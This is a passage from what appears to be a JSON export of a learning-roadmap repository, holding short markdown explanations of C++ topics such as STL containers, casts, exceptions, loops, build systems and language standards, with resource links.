\"7r7o8pYhFHVAJIv0wNT6X\",\n  \"security:hashing-algorithms\": \"EX_e4B6G07zTb4JjJ7482\",\n  \"security:owasp-top-10\": \"3rPSp135TdSCyvXzEzn4p\",\n  \"how-computers-work\": \"-emdKpD5uRNuvem5rbFXJ\",\n  \"how-computers-work:how-cpu-executes-programs\": \"1eglba39q426Nh0E0qcdj\",\n  \"how-computers-work:how-computers-calculate\": \"GDLKJkKgB-i7n0YcV2NDa\",\n  \"how-computers-work:registers-and-ram\": \"U3379F4AO1KSmGtVmPr27\",\n  \"how-computers-work:instructions-and-programs\": \"AxiGqbteK7ZSXEUt_zckH\",\n  \"how-computers-work:cpu-cache\": \"DjTQjMbika4_yTzrBpcmB\",\n  \"processes-and-threads\": \"ETEUA7jaEGyOEX8tAVNWs\",\n  \"processes-and-threads:process-forking\": \"RbdT5MOE4L-E7PPWKRITX\",\n  \"processes-and-threads:memory-management\": \"jVsZFTzyrYEDyR8LiBQL0\",\n  \"processes-and-threads:lock-mutex-semaphore\": \"O6-vG3FuoYet4D0hbiyrv\",\n  \"processes-and-threads:concurrency-in-multiple-cores\": \"xUo5Ox_HTgGyeQMDIkVyK\",\n  \"processes-and-threads:scheduling-algorithms\": \"Ge2nagN86ofa2y-yYR1lv\",\n  \"processes-and-threads:cpu-interrupts\": \"cpQvB0qMDL3-NWret7oeA\",\n  \"processes-and-threads:processes-vs-threads\": \"IEX6v_MYpE5Ylk_28K2ZU\",\n  \"kd-trees\": \"C1eNsPjiQo8INbvL2Lt7L\",\n  \"skip-lists\": \"K96ggeWqd5OwoNnkL04pc\"\n}"
  },
  {
    "path": "src/data/roadmaps/cpp/content/access-violations@y4-P4UNC--rE1vni8HdTn.md",
    "content": "# Access Violations\n\nAn access violation occurs when a program tries to read from or write to a memory location that it doesn't have permission to access. This is a common error in C++ that can arise from issues like dereferencing null or invalid pointers, accessing arrays beyond their bounds, or attempting to use memory that has already been freed. Debugging tools such as debuggers, static analyzers (like those in Visual Studio), and runtime memory error detectors (such as Valgrind or AddressSanitizer) are essential for identifying and resolving these violations by pinpointing the offending code."
  },
  {
    "path": "src/data/roadmaps/cpp/content/algorithms@whyj6Z4RXFsVQYRfYYn7B.md",
    "content": "# STL Algorithms\n\nThe C++ Standard Template Library (STL) offers a rich collection of generic algorithms that operate on various container types. These algorithms, found primarily in the `<algorithm>` header, provide functionalities for common tasks like sorting, searching, and sequence manipulation. They promote code reusability and efficiency by working independently of the specific data structures they operate on."
  },
  {
    "path": "src/data/roadmaps/cpp/content/argument-dependent-lookup-adl@YSWN7nS8vA9nMldSUrZRT.md",
    "content": "# Argument Dependent Lookup (ADL)\n\nArgument Dependent Lookup (ADL), also known as Koenig Lookup, is a feature in C++ that extends the function lookup process by allowing the compiler to search for functions in the namespaces of the function arguments' types. This is especially useful when working with overloaded operators and functions defined within namespaces, enabling more intuitive and concise code by automatically finding the appropriate function based on the argument types, even if it's not explicitly qualified.\n\nVisit the following resources to learn more:\n\n- [@article@Argument Dependent Lookup (ADL)](https://en.cppreference.com/w/cpp/language/adl.html)\n- [@video@C++ Weekly - Ep 160 - Argument Dependent Lookup (ADL)](https://backoffice.roadmap.sh/tree/cpp)"
  },
  {
    "path": "src/data/roadmaps/cpp/content/arithmetic-operators@8aOSpZLWwZv_BEYiurhyR.md",
    "content": "# Arithmetic Operators\n\nArithmetic operators are fundamental building blocks in C++ programming, allowing you to perform mathematical calculations directly within your code. These operators work on numeric data types such as integers and floating-point numbers, enabling addition (+), subtraction (-), multiplication (\\*), division (/), and modulus (%) operations. Furthermore, increment (++) and decrement (--) operators provide concise ways to increase or decrease variable values by one.\n\nVisit the following resources to learn more:\n\n- [@article@Arithmetic Operators](https://www.w3schools.com/cpp/cpp_operators_arithmetic.asp)"
  },
  {
    "path": "src/data/roadmaps/cpp/content/auto-automatic-type-deduction@CG01PTVgHtjfKvsJkJLGl.md",
    "content": "# Auto Type Deduction\n\n`auto` is a keyword in C++ introduced in C++11 that enables automatic type deduction. It allows the compiler to infer the data type of a variable from its initialization expression at compile time. This simplifies code by reducing the need to explicitly declare types, particularly when dealing with complex or less predictable types, leading to cleaner and more maintainable code. In C++14, `auto` can also be used to deduce function return types based on the return expression.\n\nVisit the following resources to learn more:\n\n- [@article@Automatic Type Deduction: auto](https://www.educative.io/courses/cpp-fundamentals-for-professionals/automatic-type-deduction-auto)\n- [@video@The \"auto\" keyword in C++](https://www.youtube.com/watch?v=2vOPEuiGXVo)"
  },
  {
    "path": "src/data/roadmaps/cpp/content/basic-operations@kl2JI_Wl47c5r8SYzxvCq.md",
    "content": "# Basic Operations\n\nUnderstanding fundamental operations is crucial for any C++ developer. This foundational knowledge includes arithmetic operations such as addition, subtraction, multiplication, and division, as well as comparison operations (e.g., equal to, not equal to, greater than) used in conditional logic. Mastering these operations forms the bedrock upon which more complex algorithms and data structures are built."
  },
  {
    "path": "src/data/roadmaps/cpp/content/bitwise-operators@zE4iPSq2KsrDSByQ0sGK_.md",
    "content": "# Bitwise Operators\n\nBitwise operators in C++ allow direct manipulation of individual bits within integer data types. These operators work by treating values as sequences of bits and performing operations at the bit level. Common bitwise operators include AND (&), OR (|), XOR (^), NOT (~), left shift (<<), and right shift (>>). They are utilized for tasks such as setting, clearing, or toggling specific bits, optimizing performance in certain algorithms, and low-level system programming.\n\nVisit the following resources to learn more:\n\n- [@video@Intro to Binary and Bitwise Operators in C++](https://youtu.be/KXwRt7og0gI)\n- [@video@Bitwise AND (&), OR (|), XOR (^) and NOT (~) in C++](https://youtu.be/HoQhw6_1NAA)"
  },
  {
    "path": "src/data/roadmaps/cpp/content/boost@1d7h5P1Q0RVHryKPVogQy.md",
    "content": "# Boost\n\nBoost is a set of peer-reviewed, portable C++ source libraries. It provides a wide range of utilities and tools that can significantly enhance your C++ development, covering areas like data structures, algorithms, mathematical functions, concurrency, and more. Boost libraries are designed to integrate well with the C++ Standard Library and often serve as incubators for features that eventually make their way into the standard.\n\nVisit the following resources to learn more:\n\n- [@official@Boost Libraries](https://www.boost.org/)"
  },
  {
    "path": "src/data/roadmaps/cpp/content/build-systems@jVXFCo6puMxJ_ifn_uwim.md",
    "content": "# Build Systems\n\nBuild systems in C++ automate the compilation, linking, and execution of source code, managing the complexity of the build process to produce executables or libraries. Common examples include GNU Make, which uses Makefiles to track dependencies and timestamps, and CMake, a cross-platform system that generates build files for various platforms. Autotools is another option for creating portable software across different Unix-based systems. SCons leverages Python for more expressive build scripts, while Ninja focuses on speed by efficiently building targets specified in a simple text file. Each system offers different approaches to streamlining the software construction process."
  },
  {
    "path": "src/data/roadmaps/cpp/content/c-0x@PPg0V5EzGBeJsysg1215V.md",
    "content": "# C++11\n\nC++11, formerly known as C++0x, represents a significant evolution of the C++ language standard, finalized in 2011. This version introduced features like automatic type inference with `auto`, simplified container iteration using range-based for loops, the ability to create anonymous functions via lambda expressions, and a safer way to represent null pointers using `nullptr`. Furthermore, C++11 optimized temporary object handling through rvalue references and move semantics, enabled templates to accept a variable number of arguments with variadic templates, facilitated compile-time assertions via static assertions, and integrated thread support for concurrent programming."
  },
  {
    "path": "src/data/roadmaps/cpp/content/c-11--14@T6rCTv9Dxkm-tEA-l9XEv.md",
    "content": "# C++11 and C++14\n\nC++11 and C++14 are significant updates to the C++ language, introducing features to enhance its power and usability. C++11 brought in features like `auto` for type inference, range-based for loops for simpler iteration, lambda functions for creating anonymous functions, `nullptr` for safer null pointer representation, and a standard thread support library. Building upon this, C++14 refined these features and added new capabilities, including generic lambdas, binary literals, `decltype(auto)` for precise type deduction, and variable templates. These standards made C++ more modern, expressive, and efficient."
  },
  {
    "path": "src/data/roadmaps/cpp/content/c-17@R2-qWGUxsTOeSHRuUzhd2.md",
    "content": "# C++17\n\nC++17 is a significant update to the C++ language, offering new features and enhancements that improve code expressiveness and efficiency. This version introduces features such as structured bindings for easier data unpacking, `if` and `constexpr if` statements for compile-time conditional logic, and inline variables for simplified header usage. Furthermore, C++17 incorporates the `std::filesystem` library for file system operations, as well as `std::string_view`, `std::any`, `std::optional`, and `std::variant` for enhanced data handling, alongside parallel algorithms to boost performance."
  },
  {
    "path": "src/data/roadmaps/cpp/content/c-20@o3no4a5_iMFzEAGs56-BJ.md",
    "content": "# C++20\n\nC++20 represents a significant evolution of the C++ language, introducing key features aimed at improving code clarity, efficiency, and concurrency. Highlights include Concepts, which enforce constraints on template parameters for better error messages; Ranges, a new way to work with sequences of values enhancing standard library algorithms; Coroutines, for writing asynchronous code with improved readability; and enhancements to compile-time evaluation with `constexpr` and `consteval`. These additions, along with other library improvements, empower developers to create more expressive, robust, and high-performance applications."
  },
  {
    "path": "src/data/roadmaps/cpp/content/c-23@sxbbKtg7kMNbkx7fXhjR9.md",
    "content": "# C++23\n\nC++23 is the latest version of the C++ standard, building upon previous iterations to introduce new features, library enhancements, and language improvements. It aims to simplify development, improve performance, and provide more modern tools for C++ programmers. This standard incorporates features like `std::expected`, stackable coroutines, and improvements to the standard library, making C++ more robust and expressive.\n\nVisit the following resources to learn more:\n\n- [@official@The Standard](https://isocpp.org/std/the-standard)\n- [@article@C++23](https://en.wikipedia.org/wiki/C%2B%2B23)\n- [@article@Overview of New Features in C++23](https://medium.com/@threehappyer/overview-of-new-features-in-c-23-68c5bc668958)\n- [@video@C++23: An Overview of Almost All New and Updated Features - Marc Gregoire - CppCon 2023](https://www.youtube.com/watch?v=Cttb8vMuq-Y)"
  },
  {
    "path": "src/data/roadmaps/cpp/content/c-vs-c@2Ag0t3LPryTF8khHLRfy-.md",
    "content": "# C vs C++\n\nC and C++ are both programming languages, with C++ evolving from C. C is a procedural language focused on structured programming using functions. C++ expands upon C by adding object-oriented programming (OOP) features like classes, inheritance, and polymorphism, enabling more complex and modular software design. C++ also introduces features like operator overloading, templates, and exception handling, offering greater flexibility and abstraction compared to C.\n\nVisit the following resources to learn more:\n\n- [@article@C++ vs. C: When (and when not) to use each language](https://roadmap.sh/cpp/vs-c)"
  },
  {
    "path": "src/data/roadmaps/cpp/content/catch2@s13jQuaC6gw0Lab3Cbyy6.md",
    "content": "# Catch2\n\nCatch2 is a modern, C++-native, header-only framework for writing unit tests, benchmarks, and even simple command-line applications. It provides a simple and expressive syntax for defining test cases, assertions, and sections, making it easy to write and maintain comprehensive tests for your C++ code. It supports features like test case discovery, parameterized tests, and integration with various IDEs and build systems.\n\nVisit the following resources to learn more:\n\n- [@official@Catch2](https://catch2.org/)\n- [@opensource@Catch2](https://github.com/catchorg/Catch2)"
  },
  {
    "path": "src/data/roadmaps/cpp/content/cmake@ysnXvSHGBMMozBJyXpHl5.md",
    "content": "# CMake\n\nCMake is a cross-platform build system generator. It uses configuration files (CMakeLists.txt) to describe the build process and generates native build files like Makefiles or project files for IDEs like Visual Studio. CMake simplifies the build process, especially for complex projects, by abstracting the underlying build tools and providing a consistent interface across different platforms and compilers. It manages dependencies, specifies compiler flags, and handles the overall structure of your project's build process without actually building the project itself.\n\nVisit the following resources to learn more:\n\n- [@article@CMAKE Tutorial](https://cmake.org/cmake/help/latest/guide/tutorial/index.html)\n- [@video@CMake, How it Works (At Three Different Levels)](https://www.youtube.com/watch?v=SDX0oYqdv_g)"
  },
  {
    "path": "src/data/roadmaps/cpp/content/code-editors--ides@ew0AfyadpXPRO0ZY3Z19k.md",
    "content": "# Code Editors / IDEs\n\nChoosing the right code editor or IDE is a crucial first step for any C++ developer. These tools provide a platform for writing, editing, and managing your code, often including features like syntax highlighting, code completion, debugging tools, and build automation. Popular options range from lightweight and customizable editors like Visual Studio Code and Sublime Text, to more comprehensive IDEs like Visual Studio and CLion, each with its own strengths and features. Selecting the best one for you often comes down to personal preference and your specific development needs.\n\nVisit the following resources to learn more:\n\n- [@article@Using C++ on Linux in VSCode](https://code.visualstudio.com/docs/cpp/config-linux)\n- [@feed@Explore top posts about General Programming](https://app.daily.dev/tags/general-programming?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/cpp/content/compiler-stages@DVckzBUMgk_lWThVkLyAT.md",
    "content": "# Compiler Stages\n\nThe compilation process in C++ transforms human-readable source code into an executable program through four distinct stages. These stages are: Preprocessing, which handles directives like `#include` and macro replacements; Compilation, where the preprocessed code is translated into assembly language; Assembly, which converts the assembly code into object code; and Linking, where object code is combined with libraries to create the final executable. Each stage performs a specific set of tasks to ensure the code is properly transformed for execution on the target platform."
  },
  {
    "path": "src/data/roadmaps/cpp/content/compilers-and-features@hSG6Aux39X0cXi6ADy2al.md",
    "content": "# Compilers and Features\n\nC++ compilers translate human-readable C++ code into machine-executable code. They offer various features, including optimization techniques to improve program performance by eliminating redundancies and restructuring code, debugging information generation to aid in troubleshooting, and warning systems to flag potentially problematic code. Popular compilers include GCC, a versatile open-source option; Clang, known for its compatibility and diagnostics; Microsoft Visual C++, integrated within the Visual Studio IDE; and the Intel C++ Compiler, part of the Intel Parallel Studio XE suite. Familiarizing yourself with your chosen compiler's documentation is essential to fully leverage its capabilities."
  },
  {
    "path": "src/data/roadmaps/cpp/content/compilers@FTMHsUiE8isD_OVZr62Xc.md",
    "content": "# Compilers\n\nA compiler is a program that translates source code from one programming language into another, often machine code, enabling a computer to execute the instructions. In C++, compilers take your human-readable code and convert it into an executable program. Popular options include GCC, Clang, MSVC, and ICC, each with its own strengths in terms of platform support, optimization, and diagnostics. Compilers work with linkers and standard libraries to produce the final executable, combining compiled code and providing common functionalities."
  },
  {
    "path": "src/data/roadmaps/cpp/content/conan@ky_UqizToTZHC_b77qFi2.md",
    "content": "# Conan\n\nConan is a package manager specifically designed for C and C++ projects. It helps developers manage dependencies, build configurations, and share pre-built libraries across different platforms and build systems like CMake and Visual Studio. Using Conan, you can easily declare project dependencies, fetch them from remote repositories, and integrate them into your build process, simplifying the overall dependency management workflow.\n\nVisit the following resources to learn more:\n\n- [@opensource@conan](https://github.com/conan-io/conan)\n- [@article@A Beginner’s Guide to Conan 2: C and C++ Package Manager](https://medium.com/@milan.pultar/a-beginners-guide-to-conan-2-c-and-c-package-manager-b0cbc1f99175)\n- [@video@Introduction to Conan 2 - The Best C++ Package Manager?](https://www.youtube.com/watch?v=U-_RbUqDSTc)"
  },
  {
    "path": "src/data/roadmaps/cpp/content/const_cast@5g22glc97siQOcTkHbwan.md",
    "content": "# const_cast\n\n`const_cast` is a C++ casting operator that allows you to explicitly add or remove the `const` or `volatile` qualifier from a variable's type. This essentially enables you to modify an object that was initially declared as `const` or pass a `const` object to a function that expects a non-`const` argument. It's a powerful tool but should be used with caution, as modifying a truly `const` object directly can lead to undefined behavior."
  },
  {
    "path": "src/data/roadmaps/cpp/content/containers@1pydf-SR0QUfVNuBEyvzc.md",
    "content": "# C++ Containers\n\nC++ Containers are a part of the Standard Template Library (STL) that provide data structures to store and organize data. There are several types of containers, each with its own characteristics and use cases. Here, we discuss some of the commonly used containers:\n\n1\\. Vector\n----------\n\nVectors are dynamic arrays that can resize themselves as needed. They store elements in a contiguous memory location, allowing fast random access using indices.\n\nExample\n-------\n\n    #include <iostream>\n    #include <vector>\n    \n    int main() {\n        std::vector<int> vec = {1, 2, 3, 4, 5};\n    \n        vec.push_back(6); // Add an element to the end\n    \n        std::cout << \"Vector contains:\";\n        for (int x : vec) {\n            std::cout << ' ' << x;\n        }\n        std::cout << '\\n';\n    }\n    \n\n2\\. List\n--------\n\nA list is a doubly-linked list that allows elements to be inserted or removed from any position in constant time. It does not support random access. Lists are better than vectors for scenarios where you need to insert or remove elements in the middle frequently.\n\nExample\n-------\n\n    #include <iostream>\n    #include <list>\n    \n    int main() {\n        std::list<int> lst = {1, 2, 3, 4, 5};\n    \n        lst.push_back(6); // Add an element to the end\n        \n        std::cout << \"List contains:\";\n        for (int x : lst) {\n            std::cout << ' ' << x;\n        }\n        std::cout << '\\n';\n    }\n    \n\n3\\. Map\n-------\n\nA map is an associative container that stores key-value pairs. It supports the retrieval of values based on their keys. The keys are sorted in ascending order by default.\n\nExample\n-------\n\n    #include <iostream>\n    #include <map>\n    \n    int main() {\n        std::map<std::string, int> m;\n    \n        m[\"one\"] = 1;\n        m[\"two\"] = 2;\n    \n        std::cout << \"Map contains:\\n\";\n        for (const auto &pair : m) {\n            std::cout << pair.first << \": \" << pair.second << '\\n';\n        }\n    }\n    \n\n4\\. Unordered\\_map\n------------------\n\nSimilar to a map, an unordered map stores key-value pairs, but it is implemented using a hash table. This means unordered\\_map has faster average-case performance compared to map, since it does not maintain sorted order. However, worst-case performance can be worse than map.\n\nExample\n-------\n\n    #include <iostream>\n    #include <unordered_map>\n    \n    int main() {\n        std::unordered_map<std::string, int> um;\n    \n        um[\"one\"] = 1;\n        um[\"two\"] = 2;\n    \n        std::cout << \"Unordered map contains:\\n\";\n        for (const auto &pair : um) {\n            std::cout << pair.first << \": \" << pair.second << '\\n';\n        }\n    }\n    \n\nThese are just a few examples of C++ containers. There are other container types, such as `set`, `multiset`, `deque`, `stack`, `queue`, and `priority_queue`. Each container has its own use cases and unique characteristics. Learning about these containers and when to use them can greatly improve your efficiency and effectiveness in using C++."
  },
  {
    "path": "src/data/roadmaps/cpp/content/control-flow--statements@s5Gs4yF9TPh-psYmtPzks.md",
    "content": "# Control Flow & Statements\n\nControl flow in C++ dictates the order in which statements are executed. It allows programs to make decisions, repeat actions, and execute different code blocks based on conditions. Statements like `if`, `else if`, and `else` enable conditional execution, while loops such as `for`, `while`, and `do-while` facilitate repetition. `switch` statements offer a multi-way branching mechanism based on the value of an expression. These constructs are fundamental for creating programs that respond dynamically to input and perform complex tasks."
  },
  {
    "path": "src/data/roadmaps/cpp/content/copy-and-swap@lxAzI42jQdaofzQ5MXebG.md",
    "content": "# Copy and Swap\n\nCopy and Swap is a C++ idiom used to implement the assignment operator in a safe and efficient manner. It works by creating a copy of the right-hand side object, then swapping the internal state of the copy with the object being assigned to. The temporary copy, now holding the original state, is then destroyed when the function exits, ensuring proper resource management and exception safety. This leverages existing copy constructors and swap functions, leading to cleaner and more robust code.\n\nVisit the following resources to learn more:\n\n- [@video@Copying and Copy Constructors in C++](https://www.youtube.com/watch?v=BvR1Pgzzr38)"
  },
  {
    "path": "src/data/roadmaps/cpp/content/copy-on-write@O2Du5gHHxFxAI2u5uO8wu.md",
    "content": "# Copy on Write\n\nThe Copy-on-Write (CoW) idiom is an optimization technique used to defer or eliminate the cost of copying resources until the first write operation. Instead of creating a new copy of an object immediately, the original object and the \"copy\" share the same underlying resource. Only when one of the objects attempts to modify the shared resource is a true copy created. This can significantly improve performance by avoiding unnecessary copying, especially for large objects."
  },
  {
    "path": "src/data/roadmaps/cpp/content/crtp@ttt-yeIi4BPWrgvW324W7.md",
    "content": "# CRTP\n\nThe Curiously Recurring Template Pattern (CRTP) is a C++ idiom where a class template inherits from its own specialization. This technique achieves static polymorphism, offering an alternative to runtime polymorphism using virtual functions. CRTP allows customization of base class behavior without virtual function call overhead, enabling compile-time polymorphism for improved performance. It's useful when you need to extend or modify functionality in derived classes while maintaining efficiency by avoiding the runtime cost associated with virtual functions.\n\nVisit the following resources to learn more:\n\n- [@article@CRTP (Curiously Recurring Template Pattern) in C++](https://medium.com/@sagar.necindia/crtp-curiously-recurring-template-pattern-in-c-90981941bf38)\n- [@video@C++ Tutorial: How to use CRTP to speed up your code](https://www.youtube.com/watch?v=Srx4eiBdpdQ)"
  },
  {
    "path": "src/data/roadmaps/cpp/content/data-types@MwznA4qfpNlv6sqSNjPZi.md",
    "content": "# Data Types\n\nData types in C++ categorize the kind of values a variable can hold, influencing memory usage and allowable operations. C++ offers fundamental types like `int` for integers, `float` and `double` for floating-point numbers, `char` for single characters, and `bool` for logical values. Beyond these basics, derived types such as arrays, pointers, and references provide more complex data handling capabilities. Finally, users can define their own types using structures, classes, and unions to create custom data organizations.\n\nVisit the following resources to learn more:\n\n- [@article@Data Types](https://www.w3schools.com/cpp/cpp_data_types.asp)"
  },
  {
    "path": "src/data/roadmaps/cpp/content/date--time@yGvE6eHKlPMBB6rde0llR.md",
    "content": "# Date / Time\n\nThe C++ `chrono` library, part of the Standard Template Library (STL), offers tools for handling dates and times. It allows you to represent time spans as `durations` (e.g., seconds, minutes, hours), specific moments as `time_points` based on clocks, and access the current time using different `clock` types like `system_clock`, `steady_clock`, and `high_resolution_clock`. You can also convert `time_points` to calendar time for human-readable formats."
  },
  {
    "path": "src/data/roadmaps/cpp/content/debuggers@qmHs6_BzND_xpMmls5YUH.md",
    "content": "# Debuggers\n\nDebuggers are indispensable tools in C++ development, enabling developers to identify, analyze, and resolve defects within their code. These tools allow you to step through your code, inspect variables, and understand the program's execution flow, ultimately leading to more robust and reliable software. Several options are available, including GDB (GNU Debugger), LLDB, Microsoft Visual Studio Debugger, Intel Debugger (IDB), and TotalView Debugger, each offering unique features and catering to different development environments and application types."
  },
  {
    "path": "src/data/roadmaps/cpp/content/debugging-symbols@sR_FxGZHoMCV9Iv7z2_SX.md",
    "content": "# Debugging Symbols\n\nDebugging symbols are essential for effective debugging in C++. They provide debuggers with information about the program's structure, source code relationships, and variable representations, allowing developers to step through code, inspect variables, and understand the program's behavior. These symbols can be embedded directly within the compiled binary (internal) or stored in separate files (external), such as `.pdb` on Windows or `.dSYM` on macOS. Tools like `g++` offer flags like `-g` (for internal symbols) and `-gsplit-dwarf` (for external symbols) to generate these symbols during compilation, while the `strip` command can be used to remove internal symbols from production binaries."
  },
  {
    "path": "src/data/roadmaps/cpp/content/diamond-inheritance@ofwdZm05AUqCIWmfgGHk8.md",
    "content": "# Diamond Inheritance\n\nDiamond inheritance arises in C++ when a class inherits from multiple classes that, in turn, inherit from a common base class, creating a diamond-shaped hierarchy. This can lead to ambiguity because the derived class inherits multiple copies of the base class's members. To resolve this issue, virtual inheritance is used, ensuring only one instance of the base class exists in the final derived class, eliminating ambiguity and ensuring proper member access.\n\nVisit the following resources to learn more:\n\n- [@article@Understanding Virtual Inheritance and the Diamond Problem in C++](https://medium.com/@antilogatharv/understanding-virtual-inheritance-and-the-diamond-problem-in-c-da7c63d76723)"
  },
  {
    "path": "src/data/roadmaps/cpp/content/dynamic-polymorphism@7h1VivjCPDwriL7FirtFv.md",
    "content": "# Dynamic Polymorphism\n\nDynamic polymorphism is a feature in C++ that allows objects of different classes to be treated as objects of a common type. This is achieved through virtual functions, where a derived class can override a function defined in its base class. When a virtual function is called through a base class pointer or reference, the correct function implementation for the derived class object is executed at runtime, enabling flexible and extensible code.\n\nVisit the following resources to learn more:\n\n- [@article@Understanding Dynamic Polymorphism in C++](https://hackernoon.com/understanding-dynamic-polymorphism-in-c)\n- [@video@Dynamic Binding (Polymorphism) With The Virtual Keyword | C++ Tutorial](https://www.youtube.com/watch?v=-FUhG98hdLI)"
  },
  {
    "path": "src/data/roadmaps/cpp/content/dynamic-typing@i0EAFEUB-F0wBJWOtrl1A.md",
    "content": "# Dynamic Typing\n\nWhile C++ is fundamentally a statically-typed language where data types are checked at compile time, it provides mechanisms to achieve a degree of dynamic typing. This involves determining the data types of variables during runtime, primarily through the use of `void*` pointers, which can point to any data type (requiring explicit casting), and the `std::any` class (introduced in C++17), a type-safe container capable of holding values of any type. Both approaches enable flexibility but require careful consideration due to potential runtime overhead and type-related errors.\n\nVisit the following resources to learn more:\n\n- [@article@Dynamic Typing in C++](https://codesignal.com/learn/courses/advanced-functional-programming-techniques/lessons/dynamic-type-declaration-in-cpp)\n- [@video@Static vs Dynamic Typing](https://www.youtube.com/watch?v=GqXpFycPWLE)"
  },
  {
    "path": "src/data/roadmaps/cpp/content/dynamic_cast@4BdFcuQ5KNW94cu2jz-vE.md",
    "content": "# Dynamic Cast\n\n`dynamic_cast` is a C++ casting operator primarily used within polymorphic class hierarchies to safely convert pointers or references from a base class to a derived class. Unlike static casts, it performs a runtime check to ensure the validity of the conversion. If the object being cast is not actually an instance of the target derived class, `dynamic_cast` returns a null pointer (for pointer casts) or throws a `std::bad_cast` exception (for reference casts), preventing undefined behavior and enabling safer downcasting."
  },
  {
    "path": "src/data/roadmaps/cpp/content/erase-remove@YvmjrZSAOmjhVPo05MJqN.md",
    "content": "# Erase-Remove\n\nThe Erase-Remove idiom is a common C++ technique used to efficiently remove elements from a container (like `std::vector`, `std::list`, etc.). It involves using `std::remove` (or `std::remove_if`) to move the elements to be removed to the end of the container, followed by using the container's `erase()` method to actually remove those elements, effectively shrinking the container.\n\nVisit the following resources to learn more:\n\n- [@article@std::remove, std::remove_if](https://en.cppreference.com/w/cpp/algorithm/remove.html)\n- [@video@C++ STL algorithm - erase-remove idiom -- std::remove(_if, _copy_if) | Modern Cpp Series Ep. 154](https://www.youtube.com/watch?v=btyuTSb_238)"
  },
  {
    "path": "src/data/roadmaps/cpp/content/exception-handling@B2SGBENzUMl0SAjG4j91V.md",
    "content": "# Exception Handling\n\nException handling in C++ is a mechanism for managing runtime errors and unexpected events, preventing abrupt program termination. It uses `try`, `catch`, and `throw` keywords to monitor code blocks for exceptions, handle specific exception types, and signal error conditions, respectively. The `noexcept` specifier ensures a function doesn't throw exceptions. Standard exception classes in `<stdexcept>`, like `std::exception`, `std::logic_error`, and `std::runtime_error`, offer a structured approach to representing and handling various error types.\n\nVisit the following resources to learn more:\n\n- [@article@Exception Handling](https://www.w3schools.com/cpp/cpp_exceptions.asp)\n- [@video@Exception handling in C++ (How to handle errors in your program?)](https://www.youtube.com/watch?v=kjEhqgmEiWY)"
  },
  {
    "path": "src/data/roadmaps/cpp/content/exceptions@NJud5SXBAUZ6Sr78kZ7jx.md",
    "content": "# Exceptions\n\nException handling in C++ provides a mechanism to manage runtime errors, ensuring program stability. This is achieved using `try`, `catch`, and `throw` blocks. The `try` block encloses code that might generate an exception. If an error occurs, a `throw` statement creates an exception object, which is then caught and handled by an appropriate `catch` block designed to deal with that specific exception type, thus preventing program termination."
  },
  {
    "path": "src/data/roadmaps/cpp/content/exit-codes@oWygnpwHq2poXQMTTSCpl.md",
    "content": "# Exit Codes\n\nExit codes are numerical values returned by a program to the operating system upon completion, signaling whether the execution was successful or encountered errors. A return value of 0 typically indicates success, while non-zero values denote failure, with the specific meaning of each non-zero code being application-dependent. In C++, you can specify the exit code using the `return` statement within the `main` function or by calling the `exit()` function from the `<cstdlib>` header."
  },
  {
    "path": "src/data/roadmaps/cpp/content/fmt@1CqQgmHDeo1HlPdpUJS7H.md",
    "content": "# fmt\n\n`fmt` is a modern formatting library for C++. It provides a simple and efficient way to format text, similar to Python's `str.format()` or C#'s `string.Format()`. It offers compile-time checks for format string correctness and generally results in faster and safer string formatting compared to traditional methods like `printf`.\n\nVisit the following resources to learn more:\n\n- [@official@fmt](https://fmt.dev/12.0/)\n- [@opensource@fmt](https://github.com/fmtlib/fmt)"
  },
  {
    "path": "src/data/roadmaps/cpp/content/for--while--do-while-loops@_IP_e1K9LhNHilYTDh7L5.md",
    "content": "# Loops\n\nLoops are fundamental control flow structures that enable the repetition of code blocks based on a condition. C++ provides three primary loop types: `for`, `while`, and `do-while`. The `for` loop is ideal when the number of iterations is known beforehand, while the `while` loop continues execution as long as a specified condition remains true. The `do-while` loop is similar to the `while` loop, but guarantees at least one execution of the code block, as the condition is checked at the end of the loop.\n\nVisit the following resources to learn more:\n\n- [@article@C++ For Loop](https://www.w3schools.com/cpp/cpp_for_loop.asp)\n- [@article@C++ While Loop](http://w3schools.com/cpp/cpp_while_loop.asp)\n- [@article@C++ Do While Loop](https://www.w3schools.com/cpp/cpp_do_while_loop.asp)"
  },
  {
    "path": "src/data/roadmaps/cpp/content/forward-declaration@ZHjU60uzJTezADRhDTESG.md",
    "content": "# Forward Declaration\n\nForward declaration is declaring an identifier (like a class, function, or variable) to the compiler before its full definition is provided. This informs the compiler about the existence and type of the identifier, allowing it to be used in limited contexts, such as pointer or reference usage, without requiring the full definition to be immediately available. This technique helps to manage dependencies, reduce compilation times, and resolve circular dependencies between different parts of a codebase."
  },
  {
    "path": "src/data/roadmaps/cpp/content/full-template-specialization@6hTcmJwNnQstbWWzNCfTe.md",
    "content": "# Full Template Specialization\n\nFull template specialization in C++ provides a way to define specific implementations of a template (class or function) for particular types. This allows you to customize the behavior of a template when it's instantiated with a specific set of template arguments, enabling optimized code or special handling for certain types while the generic template handles other cases. This involves creating a specialized version of the template for a specific type or set of types."
  },
  {
    "path": "src/data/roadmaps/cpp/content/function-overloading@sgfqb22sdN4VRJYkhAVaf.md",
    "content": "# Function Overloading\n\nFunction overloading in C++ allows multiple functions to share the same name, provided they differ in the number or types of parameters. This facilitates compile-time polymorphism, enhancing code readability and maintainability by enabling functions to perform similar operations on different data types or argument counts.\n\nVisit the following resources to learn more:\n\n- [@official@Function Overloading - Microsoft Learn](https://learn.microsoft.com/en-us/cpp/cpp/function-overloading)"
  },
  {
    "path": "src/data/roadmaps/cpp/content/functions@oYi3YOc1GC2Nfp71VOkJt.md",
    "content": "# Functions\n\nFunctions in C++ are self-contained blocks of code designed to perform specific tasks, promoting code reusability and modularity. They come in two main types: standard library functions (pre-built functions like `sort()` and `sqrt()`) and user-defined functions (created by the programmer). Defining a function involves specifying its return type, name, and a list of parameters it accepts. To use a function before its definition, a function prototype can be declared, informing the compiler about the function's signature.\n\nVisit the following resources to learn more:\n\n- [@article@C++ Functions](https://www.w3schools.com/cpp/cpp_functions.asp)\n- [@article@introduction to functions in c++](https://www.learncpp.com/cpp-tutorial/introduction-to-functions/)\n- [@video@Learn C++ With Me #20 - Functions](https://www.youtube.com/watch?v=C83tPpvxIJA)"
  },
  {
    "path": "src/data/roadmaps/cpp/content/gdb@BmWsoL9c_Aag5nVlMsKm2.md",
